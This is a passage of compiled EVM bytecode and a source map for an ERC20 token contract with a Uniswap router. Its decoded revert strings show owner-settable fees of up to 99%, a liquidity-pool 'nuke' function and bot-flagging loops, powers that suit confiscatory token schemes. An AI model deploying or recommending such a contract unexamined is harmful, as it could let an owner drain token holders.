ffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613d7e307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846126ff565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613de09594939291906154c5565b600060405180830381600087803b158015613dfa57600080fd5b505af1158015613e0e573d6000803e3d6000fd5b505050505050565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613ea7578082015181840152602081019050613e8c565b60008484015250505050565b6000601f19601f8301169050919050565b6000613ecf82613e6d565b613ed98185613e78565b9350613ee9818560208601613e89565b613ef281613eb3565b840191505092915050565b60006020820190508181036000830152613f178184613ec4565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613f5482613f29565b9050919050565b613f6481613f49565b8114613f6f57600080fd5b50565b600081359050613f8181613f5b565b92915050565b6000819050919050565b613f9a81613f87565b8114613fa557600080fd5b50565b600081359050613fb781613f91565b92915050565b60008060408385031215613fd457613fd3613f1f565b5b6000613fe285828601613f72565b9250506020613ff385828601613fa8565b9150509250929050565b60008115159050919050565b61401281613ffd565b82525050565b600060208201905061402d6000830184614009565b92915050565b60006020828403121561404957614048613f1f565b5b600061405784828501613f72565b91505092915050565b6000819050919050565b600061408561408061407b84613f29565b614060565b613f29565b9050919050565b60006140978261406a565b9050919050565b60006140a98261408c565b9050919050565b6140b98161409e565b82525050565b60006020820190506140d460008301846140b0565b92915050565b6140e381613f87565b82525050565b60006020820190506140fe60008301846140da565b92915050565b60006020828403121561411a57614119613f1f565b5b600061412884828501613fa8565b91505092915050565b60008060006060848603121561414a57614149613f1f565b5b600061415886828701613f72565b935050602061416986828701613f72565b925050604061417a86828701613fa8565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126141a9576141a8614184565b5b8235905067ffffffffffffffff8111156141c6576141c5614189565b5b6020830191508360208202830111156141e2576141e161418e565b5b9250929050565b60008060006040848603121561420257614201613f1f565b5b600084013567ffffffffffffffff8111156142205761421f613f24565b5b61422c86828701614193565b9350935050602061423f86828701613fa8565b9150509250925092565b61425281613f49565b82525050565b600060208201905061426d6000830184614249565b92915050565b600060ff82169050919050565b61428981614273565b82525050565b60006020820190506142a46000830184614280565b92915050565b6142b381613ffd565b81146142be57600080fd5b50565b6000813590506142d0816142aa565b92915050565b6000806000606084860312156142ef576142ee613f1f565b5b60006142fd86828701613fa8565b935050602061430e86828701613fa8565b925050604061431f868287016142c1565b9150509250925092565b60008060006040848603121561434257614341613f1f565b5b600084013567ffffffffffffffff8111156143605761435f613f24565b5b61436c86828701614193565b9350935050602061437f868287016142c1565b9150509250925092565b600080604083850312156143a05761439f613f1f565b5b60006143ae85828601613f72565b92505060206143bf858286016142c1565b9150509250929050565b6000806000606084860312156143e2576143e1613f1f565b5b60006143f086828701613fa8565b935050602061440186828701613fa8565b925050604061441286828701613fa8565b9150509250925092565b60006020828403121561443257614431613f1f565b5b6000614440848285016142c1565b91505092915050565b600080604083850312156144605761445f613f1f565b5b600061446e85828601613f72565b925050602061447f85828601613f72565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806144d057607f821691505b6020821081036144e3576144e2614489565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061452382613f87565b915061452e83613f87565b925082820261453c81613f87565b91508282048414831517614553576145526144e9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061459482613f87565b915061459f83613f87565b9250826145af576145ae61455a565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614616602f83613e78565b9150614621826145ba565b604082019050919050565b6000602082019050818103600083015261464581614609565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061468682613f87565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036146b8576146b76144e9565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061471f603383613e78565b915061472a826146c3565b604082019050919050565b6000602082019050818103600083015261474e81614712565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b60006147b1603083613e78565b91506147bc82614755565b604082019050919050565b600060208201905081810360008301526147e0816147a4565b9050919050565b60006147f282613f87565b91506147fd83613f87565b9250828201905080821115614815576148146144e9565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614851601d83613e78565b915061485c8261481b565b602082019050919050565b6000602082019050818103600083015261488081614844565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b60006148bd601d83613e78565b91506148c882614887565b602082019050919050565b600060208201905081810360008301526148ec816148b0565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b600061494f602483613e78565b915061495a826148f3565b604082019050919050565b6000602082019050818103600083015261497e81614942565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b60006149e1603583613e78565b91506149ec82614985565b604082019050919050565b60006020820190508181036000830152614a10816149d4565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614a73603283613e78565b9150614a7e82614a17565b604082019050919050565b60006020820190508181036000830152614aa281614a66565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614b05602683613e78565b9150614b1082614aa9565b604082019050919050565b60006020820190508181036000830152614b3481614af8565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614b71602083613e78565b9150614b7c82614b3b565b602082019050919050565b60006020820190508181036000830152614ba081614b64565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614c03602a83613e78565b9150614c0e82614ba7565b604082019050919050565b60006020820190508181036000830152614c3281614bf6565b9050919050565b600081519050614c4881613f91565b92915050565b600060208284031215614c6457614c63613f1f565b5b6000614c7284828501614c39565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614cb1601b83613e78565b9150614cbc82614c7b565b602082019050919050565b60006020820190508181036000830152614ce081614ca4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614d43602483613e78565b9150614d4e82614ce7565b604082019050919050565b60006020820190508181036000830152614d7281614d36565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614dd5602283613e78565b9150614de082614d79565b604082019050919050565b60006020820190508181036000830152614e0481614dc8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614e41602083613e78565b9150614e4c82614e0b565b602082019050919050565b60006020820190508181036000830152614e7081614e34565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614ed3602583613e78565b9150614ede82614e77565b604082019050919050565b60006020820190508181036000830152614f0281614ec6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614f65602383613e78565b9150614f7082614f09565b604082019050919050565b60006020820190508181036000830152614f9481614f58565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614fd1601683613e78565b9150614fdc82614f9b565b602082019050919050565b6000602082019050818103600083015261500081614fc4565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000615089604983613e78565b915061509482615007565b606082019050919050565b600060208201905081810360008301526150b88161507c565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061511b603583613e78565b9150615126826150bf565b604082019050919050565b6000602082019050818103600083015261514a8161510e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615187601383613e78565b915061519282615151565b602082019050919050565b600060208201905081810360008301526151b68161517a565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615219603683613e78565b9150615224826151bd565b604082019050919050565b600060208201905081810360008301526152488161520c565b9050919050565b600061525a82613f87565b915061526583613f87565b925082820390508181111561527d5761527c6144e9565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006152df602183613e78565b91506152ea82615283565b604082019050919050565b6000602082019050818103600083015261530e816152d2565b9050919050565b600081905092915050565b50565b6000615330600083615315565b915061533b82615320565b600082019050919050565b600061535182615323565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061539981613f5b565b92915050565b6000602082840312156153b5576153b4613f1f565b5b60006153c38482850161538a565b91505092915050565b6000819050919050565b60006153f16153ec6153e7846153cc565b614060565b613f87565b9050919050565b615401816153d6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61543c81613f49565b82525050565b600061544e8383615433565b60208301905092915050565b6000602082019050919050565b600061547282615407565b61547c8185615412565b935061548783615423565b8060005b838110156154b857815161549f8882615442565b97506154aa8361545a565b92505060018101905061548b565b5085935050505092915050565b600060a0820190506154da60008301886140da565b6154e760208301876153f8565b81810360408301526154f98186615467565b90506155086060830185614249565b61551560808301846140da565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122062479b45807d6f067ebb431079600ef58216f76f4000c48b8a0ad3d77a31a61764736f6c63430008120033

Deployed Bytecode Sourcemap

160:17292:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4025:100:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6192:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1867:64:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;238:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5145:108:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8061:157:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;612:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;713:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1422:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1382;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7047:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6843:355:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13921:223:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;296:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;795:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;756:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4987:93:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;900:32:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7607:218:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2493:133:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;356:28:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8380:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1233:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;978:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5316:127:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1760:148:0;;;;;;;;;;;;;:::i;:::-;;16864:447:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15204:211;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4950:119;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8226:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;569:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1122;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6280:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5322:155;;;;;;;;;;;;;:::i;:::-;;967:79:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;538:24:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1268:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5708:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4244:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1196:24:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;669:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1462:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1344:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7910:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8328:269:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;856:29:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5656:175:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8517:208:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2089:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7702:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;939:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7289:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6661:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7479:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1680:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;454:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1015:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5883:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1088:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5894:151:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17319:130:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;496:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5134:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1159:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2189:244:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1306:31:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;423:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15427:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4025:100:1;4079:13;4112:5;4105:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4025:100;:::o;6192:169::-;6275:4;6292:39;6301:12;:10;:12::i;:::-;6315:7;6324:6;6292:8;:39::i;:::-;6349:4;6342:11;;6192:169;;;;:::o;1867:64:2:-;;;;;;;;;;;;;;;;;;;;;;:::o;238:51::-;;;:::o;5145:108:1:-;5206:7;5233:12;;5226:19;;5145:108;:::o;8061:157:2:-;1171:13:0;:11;:13::i;:::-;8168:9:2::1;;;;;;;;;;;8140:38;;8157:9;8140:38;;;;;;;;;;;;8201:9;8189;;:21;;;;;;;;;;;;;;;;;;8061:157:::0;:::o;612:50::-;;;;:::o;713:35::-;;;;:::o;1422:33::-;;;;:::o;1382:::-;;;;:::o;7047:234::-;1171:13:0;:11;:13::i;:::-;7166:4:2::1;7160;7156:1;7140:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7139:31;;;;:::i;:::-;7129:6;:41;;7121:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;7266:6;7256;:17;;;;:::i;:::-;7233:20;:40;;;;7047:234:::0;:::o;6843:355:1:-;6983:4;7000:36;7010:6;7018:9;7029:6;7000:9;:36::i;:::-;7047:121;7056:6;7064:12;:10;:12::i;:::-;7078:89;7116:6;7078:89;;;;;;;;;;;;;;;;;:11;:19;7090:6;7078:19;;;;;;;;;;;;;;;:33;7098:12;:10;:12::i;:::-;7078:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7047:8;:121::i;:::-;7186:4;7179:11;;6843:355;;;;;:::o;13921:223:2:-;1171:13:0;:11;:13::i;:::-;14018:9:2::1;14013:124;14037:10;;:17;;14033:1;:21;14013:124;;;14105:10;;14116:1;14105:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14081:44;;14090:13;;;;;;;;;;;14081:44;;;14120:4;14081:44;;;;;;:::i;:::-;;;;;;;;14056:3;;;;;:::i;:::-;;;;14013:124;;;;13921:223:::0;;;:::o;296:53::-;342:6;296:53;:::o;795:54::-;;;;:::o;756:32::-;;;;;;;;;;;;;:::o;4987:93:1:-;5045:5;5070:2;5063:9;;4987:93;:::o;900:32:2:-;;;;;;;;;;;;;:::o;7607:218:1:-;7695:4;7712:83;7721:12;:10;:12::i;:::-;7735:7;7744:50;7783:10;7744:11;:25;7756:12;:10;:12::i;:::-;7744:25;;;;;;;;;;;;;;;:34;7770:7;7744:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7712:8;:83::i;:::-;7813:4;7806:11;;7607:218;;;;:::o;2493:133:0:-;1171:13;:11;:13::i;:::-;2589:1:::1;2572:19;;:5;;;;;;;;;;;:19;;;2563:29;;;::::0;::::1;;2611:7;2603:5;;:15;;;;;;;;;;;;;;;;;;2493:133:::0;:::o;356:28:2:-;;;;;;;;;;;;;:::o;8380:125::-;8445:4;8469:19;:28;8489:7;8469:28;;;;;;;;;;;;;;;;;;;;;;;;;8462:35;;8380:125;;;:::o;1233:28::-;;;;:::o;978:30::-;;;;;;;;;;;;;:::o;5316:127:1:-;5390:7;5417:9;:18;5427:7;5417:18;;;;;;;;;;;;;;;;5410:25;;5316:127;;;:::o;1760:148:0:-;1171:13;:11;:13::i;:::-;1867:1:::1;1830:40;;1851:6;;;;;;;;;;;1830:40;;;;;;;;;;;;1898:1;1881:6;;:19;;;;;;;;;;;;;;;;;;1760:148::o:0;16864:447:2:-;1171:13:0;:11;:13::i;:::-;17018:3:2::1;16995:19;:26;;16987:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;17108:4;17096:8;:16;;:33;;;;;17128:1;17116:8;:13;;17096:33;17088:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17211:19;17193:15;:37;;;;17260:8;17241:16;:27;;;;17295:8;17279:13;;:24;;;;;;;;;;;;;;;;;;16864:447:::0;;;:::o;15204:211::-;1171:13:0;:11;:13::i;:::-;15289:9:2::1;15284:124;15308:8;;:15;;15304:1;:19;15284:124;;;15393:3;15345:32;:45;15378:8;;15387:1;15378:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;15345:45;;;;;;;;;;;;;;;;:51;;;;;;;;;;;;;;;;;;15325:3;;;;;:::i;:::-;;;;15284:124;;;;15204:211:::0;;;:::o;4950:119::-;5002:4;1171:13:0;:11;:13::i;:::-;5034:5:2::1;5018:13;;:21;;;;;;;;;;;;;;;;;;5057:4;5050:11;;4950:119:::0;:::o;8226:144::-;1171:13:0;:11;:13::i;:::-;8358:4:2::1;8316:31;:39;8348:6;8316:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;8226:144:::0;;:::o;569:30::-;;;;;;;;;;;;;:::o;1122:::-;;;;:::o;6280:369::-;1171:13:0;:11;:13::i;:::-;6414::2::1;6396:15;:31;;;;6456:13;6438:15;:31;;;;6492:7;6480:9;:19;;;;6561:9;;6543:15;;6525;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;6510:12;:60;;;;6605:2;6589:12;;:18;;6581:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6280:369:::0;;;:::o;5322:155::-;1171:13:0;:11;:13::i;:::-;5393:4:2::1;5377:13;;:20;;;;;;;;;;;;;;;;;;5422:4;5408:11;;:18;;;;;;;;;;;;;;;;;;5454:15;5437:14;:32;;;;5322:155::o:0;967:79:0:-;1005:7;1032:6;;;;;;;;;;;1025:13;;967:79;:::o;538:24:2:-;;;;;;;;;;;;;:::o;1268:31::-;;;;:::o;5708:101::-;1171:13:0;:11;:13::i;:::-;5794:7:2::1;5780:11;;:21;;;;;;;;;;;;;;;;;;5708:101:::0;:::o;4244:104:1:-;4300:13;4333:7;4326:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4244:104;:::o;1196:24:2:-;;;;:::o;669:35::-;;;;:::o;1462:27::-;;;;:::o;1344:25::-;;;;:::o;7910:143::-;1171:13:0;:11;:13::i;:::-;8004:41:2::1;8033:4;8039:5;8004:28;:41::i;:::-;7910:143:::0;;:::o;8328:269:1:-;8421:4;8438:129;8447:12;:10;:12::i;:::-;8461:7;8470:96;8509:15;8470:96;;;;;;;;;;;;;;;;;:11;:25;8482:12;:10;:12::i;:::-;8470:25;;;;;;;;;;;;;;;:34;8496:7;8470:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8438:8;:129::i;:::-;8585:4;8578:11;;8328:269;;;;:::o;856:29:2:-;;;;:::o;5656:175:1:-;5742:4;5759:42;5769:12;:10;:12::i;:::-;5783:9;5794:6;5759:9;:42::i;:::-;5819:4;5812:11;;5656:175;;;;:::o;8517:208:2:-;1171:13:0;:11;:13::i;:::-;8654:15:2::1;;;;;;;;;;;8611:59;;8634:18;8611:59;;;;;;;;;;;;8699:18;8681:15;;:36;;;;;;;;;;;;;;;;;;8517:208:::0;:::o;2089:61::-;;;;;;;;;;;;;;;;;;;;;;:::o;7702:200::-;1171:13:0;:11;:13::i;:::-;7831:5:2::1;7797:25;:31;7823:4;7797:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7888:5;7854:40;;7882:4;7854:40;;;;;;;;;;;;7702:200:::0;;:::o;939:32::-;;;;;;;;;;;;;:::o;7289:182::-;1171:13:0;:11;:13::i;:::-;7405:8:2::1;7374:19;:28;7394:7;7374:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7445:7;7429:34;;;7454:8;7429:34;;;;;;:::i;:::-;;;;;;;;7289:182:::0;;:::o;6661:378::-;1171:13:0;:11;:13::i;:::-;6797::2::1;6778:16;:32;;;;6840:13;6821:16;:32;;;;6877:7;6864:10;:20;;;;6949:10;;6930:16;;6911;;:35;;;;:::i;:::-;:48;;;;:::i;:::-;6895:13;:64;;;;6995:2;6978:13;;:19;;6970:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;6661:378:::0;;;:::o;7479:215::-;1171:13:0;:11;:13::i;:::-;7601:4:2::1;7595;7591:1;7575:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7574:31;;;;:::i;:::-;7564:6;:41;;7556:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;7679:6;7669;:17;;;;:::i;:::-;7657:9;:29;;;;7479:215:::0;:::o;1680:39::-;;;;;;;;;;;;;:::o;454:35::-;;;;:::o;1015:64::-;;;;;;;;;;;;;;;;;;;;;;:::o;5883:385::-;5964:4;1171:13:0;:11;:13::i;:::-;6021:6:2::1;6017:1;6001:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:26;;;;:::i;:::-;5988:9;:39;;5980:105;;;;;;;;;;;;:::i;:::-;;;;;;;;;6138:4;6133:2;6117:13;:11;:13::i;:::-;:18;;;;:::i;:::-;:25;;;;:::i;:::-;6104:9;:38;;6096:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;6229:9;6208:18;:30;;;;6256:4;6249:11;;5883:385:::0;;;:::o;1088:27::-;;;;:::o;5894:151:1:-;5983:7;6010:11;:18;6022:5;6010:18;;;;;;;;;;;;;;;:27;6029:7;6010:27;;;;;;;;;;;;;;;;6003:34;;5894:151;;;;:::o;17319:130:2:-;17375:4;17398:32;:43;17431:9;17398:43;;;;;;;;;;;;;;;;;;;;;;;;;17391:50;;17319:130;;;:::o;496:33::-;;;;:::o;5134:134::-;5194:4;1171:13:0;:11;:13::i;:::-;5233:5:2::1;5210:20;;:28;;;;;;;;;;;;;;;;;;5256:4;5249:11;;5134:134:::0;:::o;1159:30::-;;;;:::o;2189:244:0:-;1171:13;:11;:13::i;:::-;2298:1:::1;2278:22;;:8;:22;;::::0;2270:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2388:8;2359:38;;2380:6;;;;;;;;;;;2359:38;;;;;;;;;;;;2417:8;2408:6;;:17;;;;;;;;;;;;;;;;;;2189:244:::0;:::o;1306:31:2:-;;;;:::o;423:24::-;;;;:::o;15427:1015::-;15511:4;1171:13:0;:11;:13::i;:::-;15576:19:2::1;;15553:20;;:42;;;;:::i;:::-;15535:15;:60;15527:106;;;;;;;;;;;;:::i;:::-;;;;;;;;;15663:4;15652:7;:15;;15644:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;15748:15;15725:20;:38;;;;15826:28;15857:4;:14;;;15872:13;;;;;;;;;;;15857:29;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15826:60;;15944:20;15967:44;16005:5;15967:33;15992:7;15967:20;:24;;:33;;;;:::i;:::-;:37;;:44;;;;:::i;:::-;15944:67;;16139:1;16124:12;:16;16120:109;;;16156:61;16172:13;;;;;;;;;;;16195:6;16204:12;16156:15;:61::i;:::-;16120:109;16312:19;16349:25;:40;16375:13;;;;;;;;;;;16349:40;;;;;;;;;;;;;;;;